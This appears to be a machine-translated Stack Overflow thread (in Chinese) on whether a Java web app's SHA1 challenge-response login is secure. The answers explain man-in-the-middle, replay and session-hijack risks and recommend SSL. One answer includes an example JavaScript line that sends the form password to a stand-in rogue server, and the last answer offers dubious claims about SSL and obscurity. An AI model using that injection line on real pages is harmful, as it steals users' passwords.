我正在尝试启动一个Web应用程序(Java)。用户需要登录系统才能使用这些功能。所以这个应用程序有两个部分:
1)用户注册
2)登录
我担心的是我将用户名/密码数据从网络浏览器传输到服务器的方法是多么安全。
我很遗憾,因为我不确定如何安全地将数据从网络浏览器发送到服务器。
我有以下设置:
<< 客户>> -------------------------------------------------- ----<< 服务器>>
[请求令牌] -------------------------------------- -----------------------的>>
<< -------------- [从会话ID发送一个randomely生成的令牌]
[客户端计算 hashedSecret = SHA1(令牌+ SHA1(密码))]
[发送数组:[用户名,hashedSecret] ] --------------------------------- - 的>>
[服务器从数据库中查询用户名的SHA1(密码)]
[服务器计算 expectedSecret = SHA1(令牌+ SHA1(密码))]
[服务器将hashedSecret与expectedSecret 进行比较]
我想知道的是如何安全注册用户以及我的登录是否足够安全
感谢
答案 0 :(得分:8)
似乎......过于复杂。只需使用SSL,它就是行业标准,对银行来说已经足够了。
答案 1 :(得分:8)
当然,它是否“足够安全”只是您可以作为系统所有者回答的问题。如果您的预期对手不熟练且没有动力,并且身份验证失败的影响很小,那么就是这样。如果您要保护任何具有重要价值的东西,那么它可能不是一个足够安全的解决方案。
以下是一些可能容易受到攻击的攻击媒介。
中间人攻击:
Client Eavesdropper Server
Requests token-------X----------------------->
<--------------------X-------------Sends token
Sends PW hash--------X
Relays client hash ------>
X<-----------Authenticates
窃听者侦听客户端的身份验证响应,然后将其中继到服务器。服务器验证其正确性并验证窃听者。
脱机密码哈希攻击
可以在客户端和服务器之间读取消息的窃听者将拥有用于生成哈希的令牌和逻辑(来自JavaScript)。因此,攻击者会知道H(token + H(password))
,token
和H(x)
,其中H
是加密哈希算法(SHA1)。
修改传输中的服务器消息
客户端无法保证服务器消息的完整性,并且可能会在传输过程中修改消息。例如,恶意中介可以在HTML页面中插入一行JavaScript,通过DOM拦截密码并将其发送到恶意服务器。 (例如,流氓中介可能会在表单提交方法中插入new Image().src='http://www.rogueserver.xy/a.gif?password=' + document.forms[0].password.value
。)
重播攻击
如果服务器令牌以足够的频率重复,则窃听者可以捕获成功的令牌/响应对。然后,攻击者可以发出大量令牌请求,等待已知令牌被回收。然后,攻击者将已知的令牌响应重播到服务器。服务器将攻击者的响应与预期的响应进行比较,并对攻击者进行身份验证。
身份验证后攻击
会话通过身份验证后,客户端和服务器消息将继续以明文形式发送。攻击者可能会使用客户端的会话cookie作为经过身份验证的客户端进行会话劫持攻击。攻击者还可能拦截服务器和客户端之间的机密数据,或者更改传输中的数据,从而危及客户端/服务器通信的机密性,完整性和不可否认性。例如,客户端可能会发送响应以执行BenignAction
,攻击者在传输过程中将其更改为GetSecretData
。然后攻击者读取表面上包含秘密数据的响应。
这就是说,所提出的方法可能不比以明文方式发送密码更安全。如果担心安全问题,那么将SSL与来自可信CA的证书一起使用(实际意图)可以有效地防止所有这些攻击。
答案 2 :(得分:0)
@Quentin发布说,SSL在今天的行业中很好用,而且使用的是什么。这是最容易实现的安全方法,但对我来说,它只能获得C等级或更安全。银行应用程序和其他网站使用更强大的安全方法,具体取决于您尝试保护的信息。例如,StackOverflow.com使用标准POST表单来创建用户并通过SSL保护流量。这对于仅是社区知识库站点的站点来说已经足够了。示例POST:
另一方面,银行,如富国银行应用程序,将二进制序列化,私有客户端密钥加密,以及SSL形式流量。它有点类似于&#34;安全性由Obscurity&#34;,但它比SSL更好。我的2Cents。干杯!POST https://stackoverflow.com/users/login-or-signup/validation/track HTTP/1.1 Content-Type: application/x-www-form-urlencoded Accept: */* X-Requested-With: XMLHttpRequest Referer: https://stackoverflow.com/users/signup?returnurl=http%3a%2f%2fstackoverflow.com%2fquestions%2f9008997%2fweb-authentication-how-to-securely-transfer-username-password-from-the-client Accept-Language: en-US Accept-Encoding: gzip, deflate Host: stackoverflow.com Content-Length: 240 Connection: Keep-Alive Cache-Control: no-cache isSignup=true&isLogin=false&isPassword=false&isAddLogin=false&hasCaptcha=false&fkey=asd231232s30b71ead6f8af06f93b85c&legalLinksShown=1&displayname=[MyScreeName]&email=[MyEmail]&password=[SOMEPASSWORD]&password2=[SOMEPASSWORD]&submitbutton=Sign